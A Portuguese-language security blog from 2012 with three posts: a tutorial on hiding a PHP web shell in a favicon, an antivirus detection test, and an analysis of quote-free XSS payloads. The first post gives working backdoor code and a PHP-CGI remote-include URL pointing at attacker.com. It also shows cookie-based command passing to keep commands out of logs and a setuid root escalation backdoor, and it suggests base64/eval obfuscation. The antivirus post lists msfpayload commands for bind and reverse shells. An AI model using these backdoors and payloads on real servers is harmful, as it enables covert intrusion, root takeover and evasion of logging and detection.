quinta-feira, 23 de agosto de 2012

Backdoor PHP Favicon/Imagens - Web Shell Root

Bom pessoal, vou iniciar este post esclarecendo algumas coisas:

A alguns dias foi levantada uma discussão sobre LFI´s e RFI por causa da falha do PHP CGI.
Resumindo, ao se fazer um RFI nesta falha pouco importa qual seja a extensão do arquivo incluído, podendo ser .txt, .gif, .jpg, .ico ou té mesmo .php, desde que, o servidor onde o arquivo .php esteja hospedado não faça interpretação.

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.txt

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.gif

 Ex: http://alvo.com/bug.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://attacker.com/cmd.php

Como mencionei, no 3 exemplo o servidor attacker não pode ter/fazer interpretação de arquivos .php
Mais pra baixo vou explicar porque o extensão não faz diferença.

Vamos ao que interessa:

A ideia aqui é implantar um backdoor acessá-lo através de LFI de uma forma não muito usual.
Para isto vamos usar o Favicon, ele foi escolhido pois fiz vários testes com figuras e muitas apresentaram problemas de execução do código devido ao caracteres utilizados a formação da imagem, já a Favicon é bem simples e possui poucos caracteres, diminuindo assim a possibilidade de problemas de execução.

Criei um favicon neste site, bem simples, apenas escrito DC com letras azuis.
   


Vamos dar uma olhada nele no editor hexa:




























No Chrome ele é exibido no canto esquerdo superior  da aba:








No IE ele fica na barra de endereços:










Acesso direto:













Agora vamos altera-lo e acrescentar a seguinte linha:
<?php system($_GET['cmd']; ?> Que efetivamente vai ser nosso backdoor.
Você pode trocar a função system pela sua de preferencia.











Ao fazer o request novamente, ele continua a ser visualizado sem problemas, mesmo depois do código PHP ter sido acrescentado. Até ai tudo ok!




















Agora fazemos o include do arquivo e passamos os comandos:
http://srvlfi.dc/lfi.php?inc=favicon.ico&cmd=id












Depois disso tudo, vamos entender o porque isso acontece:

A função include (e similares) do PHP, ignoram complemente a extensão do arquivo e joga todo seu conteúdo para dentro do .php base, neste caso o lfi.php, então, oque interessa é somente o conteúdo do arquivo. O PHP por sua vez ao encontrar um novo <?php, executa o código até encontrar ?>, ou seja, o final das instruções PHP para aquele bloco de código.

O problema de usar esta técnica é o lixo exibido na tela, justamente pelo comportamento das funções de include, que jogam o conteúdo do arquivo até achar os marcadores do PHP.


Outro ponto importante seria utilizar cookies para passar os comandos para o PHP, assim, seria evitado que os comandos fossem enviados por GET ou POST e poluindo ainda mais o Log do servidor.







Log sem cookie:  [23/Aug/2012:08:59:38 -0300] "GET /lfi.php?lfi=oi2.gif&cmd=uname%20-a HTTP/1.1" 200 384 "-" "Mozilla/5.0

Log utilizando comando por cookie:  [23/Aug/2012:09:01:13 -0300] "GET /lfi.php?lfi=oi.gif HTTP/1.1" 200 384 "-" "Mozilla/5.0

O código para esta implementação é bem simples:

setcookie("cmd_cookie", "id");
system($_COOKIE["cmd_cookie"]);

Basta alterar o valor do cookie com sua ferramentas preferida.

Fazendo uma pesquisa rápida junto com o Psylon, encontramos este Post, que fala sobre adicionar código php em imagem, porém, é necessário adicionar informação no htaccess. Esta linha irá fazer com que o interpretador do php entende que arquivos .jpg também sejam interpretados.

root@webtestbed:/var/www/media# echo “AddType application/x-httpd-php .jpg” >> .htaccess

Agora partindo so suposto que que isso tudo que fizemos é um pós exploitation e que o pesquisador acima fez alterações em arquivos foi feito o seguinte:

Setado um suid no binário do php

chmod 4755 /usr/bin/php5 (o endereço pode/vai variar de acordo o sabor do linux)

root@srvlfi:/var/www# ls -al /usr/bin/php5
-rwsr-xr-x 1 root root 7463060 2012-02-11 05:07 /usr/bin/php5

Criado um icone com nome de suid.ico com o seguinte código(claro, no final do arquivo depois do código do próprio ícone):

<?php
posix_seteuid(0);
passthru($argv[1]);
?>


Neste caso foi utilizada a variável $argv[1] para receber o valor, pois mesmo com suid no binário do php não possível elevar o privilégio utilizado a posix_seteuid, devido a arquitetura e proteções empregadas(nem sempre foi assim), então, para contornar, a ideia foi fazer a própria backdoor executar o binário suid do php passando o caminho do ícone maligno jutamente com comando a ser executado como root. Como podem ver na abaixo, logo $argv[1] tem o valor id;uname -a
 
 http://srvlfi.dc/oi.php?cmd=/usr/bin/php5%20/var/www/suid.ico%20%22id;uname%20-a%22

Obs: Para comandos com argumentos por exemplo uname -a, é necessário utilizar aspas duplas, para indicar que o comando é apenas um, caso contrário, o php irá entender que "-a" é o terceiro argumento do array - $argv[2]

E sim, TERCEIRO argumento, caso tenha dúvida consulte o link de $argv[1].









Outra dica é: Caso o código do seu backdoor esteja ficando grande, use as funções de enconding base64 e a função eval do php.


Espero ter contribuído.

Thanks to: @l0c4lh05t  - @gmlnet
Me: @crashbrz



terça-feira, 7 de agosto de 2012

Resultado dos testes com Psafe Protege AntiVirus


O Psafe Protege mesmo?

Bem, inicialmente gostaria de dizer que esta pesquisa em momento algum quis comparar o Psafe com qualquer outro AV. do mercado.

Detalhe da pesquisa:

Sistema Operacional utilizado: Windows 2003 Server R2
AV: Psafe Protege
Software Adicional: IIS6 (Apenas para testes com webshells)

Abaixo a tabela  com os testes realizados:

WebshellsEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
ASPTexto PlanoNãoNãoNãoNão
ASPXTexto PlanoNãoNãoNãoNão
JSPTexto PlanoNãoNãoNãoNão
PerlTexto PlanoNãoNãoNãoNão
PHPTexto PlanoNãoNãoNãoNão
CFMTexto PlanoNãoNãoNãoNão
Executaveis MetaSploitEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?Comando:
Sample1 Bind na porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_bind_tcp LPORT=6666 X > /tmp/msf_sample1.exe
Sample 2 Reverse Shell porta 6666NãoNãoNãoNãoNãomsfpayload windows/shell_reverse_tcp LHOST=172.16.0.1 LPORT=6666 X > /tmp/msf_sample2.exe
Sample 3 Arbitrary Command ExecNãoNãoNãoNãoNãomsfpayload windows/exec CMD=calc.exe X > /tmp/msf_sample3.exe
Ferramentas para DoSEncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
SlowLorisTexto PlanoNãoNãoNãoNão
LoicTexto PlanoNãoNãoNãoNão
IRC Bots (Perl)EncodingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
AlphaNix 2.0Texto PlanoNãoNãoNãoNão
ScaneTexto PlanoNãoNãoNãoNão
SexiTexto PlanoNãoNãoNãoNão
ShellbotTexto PlanoNãoNãoNãoNão
Samples EICAR.orgPackingExtensao alteradaDetecção na gravação?Detecção na execução?Detecção Manual Scan?
eicar.comNãoNãoNãoNãoSim
eicar.com.txtNãoSimNãoN \ ASim
eicar_com.zipNãoCompactadoNãoN \ ANão
eicarcom2.zipNãoCompactadoNãoN \ ANão

Os teste foram realizados entre os dias 06 e 07 de agosto, 2012.

No dia 06 o sample1 do MetaSploit não tinha sido encontrado, já no dia, 07 ele foi encontrado(Trojan.Generic) e removido, porém, somente com manual scan. Os binários gerados no Metasploit ao serem executados abriram portas,  realizaram conexões com a internet e executaram comandos e mesmo assim não geraram alertar algum do Psafe. Outro problema grande foi que após a detecção do msf_sample1.exe, geramos novamente, porém, alterando a porta para 6667 e não foi detectado.

Testamos vários malwares voltados a roubo de senhas bancárias e afins, o índice de detecção foi baixo. Dos 35 samples analisados, apenas 7 foram detectados.

Dos detectados, utilizamos o que possui assinatura:  HEUR/Malware.QVM20.Gen para mais alguns testes:

- Não foi detectado na gravação.
- Foi detectado mesmo trocando a extensão.

Ao utilizarmos um compactador de binários simples (Aspack) o malware parou de ser dectado no Scan manual e foi removido apenas o .bak gerado pelo Aspack.

Outro ponto importante, não há verificação de endereços  Web maliciosos, durante a pesquisa visitamos vários sites conhecidos por distribuição de malwares e nenhum alerta foi gerado.

Conclusão:

O AV se mostrou ineficaz em seu propósito, apresentando um baixo índice de detecção de malwares, especialmente os mais populares no Brasil que permitem o acesso a contas bancárias e podem gerar prejuízos diversos para a maioria dos usuários da Internet no País. 

O fato é agravado pela empresa posicionar o seu produto como “o único antivírus completo e totalmente gratuito que existe, podendo levar o usuário doméstico a entender que existe um nível de perfeição quando comparado aos concorrentes, algo que não corresponde a realidade obtida nos testes realizados.  

---------------------------------------------------------------------------------------------------------

Esta pesquisa foi feita em conjunto com  Gabriel Lanzi (Psylon) @gmlnet
Gostaria de agradecer ao Fio (@fiocavallari @BrauvonHacker ) pela ajuda com os Samples e ao amigo   Lincoln Werneck (@lincolnwerneck)  do Instituto Coaliza (@Coaliza) na redação deste post.

domingo, 5 de agosto de 2012

Xss sem aspas


Bom dia senhores,


Segue aqui um Xss interessante que achei no forum:  http://www.garage4hackers.com/f11/unusual-xss-payload-2522.html 


Vou fazer uma pequena análise no payload utilizado.

 Abaixo o código: 



alert(String(/DcLabs/).substr(1,6) ); 


Note que é a usado o String para definir a string que vamos utilizar. O texto precisa necessariamente estar entre / / justamente para evitar as aspas, logo após é utilizada a função Substr, aqui ela irá extrair a string Dclabs removendo as // . 


Funcionaria sem esta função, mas as barras seriam exibidas no alert ou onde você injetasse o código, e isso poderia causar problemas.


Caso queira utilizar uma string maior, será necessário alterar o deslocamento no substr. Sempre uma posição a mais no inicio e uma a menos no final da string utilizada, evitando assim as //. 


Já este, utiliza o objeto sessionStorage(que serve pra guardar informações da navegação entre janelas ou tabs.) e controles de erro para exibir o alert.
(sessionStorage[!-1]=alert(123))(!-1)

Neste caso, com a ideia é não usar aspas:


(sessionStorage[!-1]=alert( String(/DcLabs/).substr(1,6) ) )(!-1)



Ok! Temos um Xss sem aspas! (: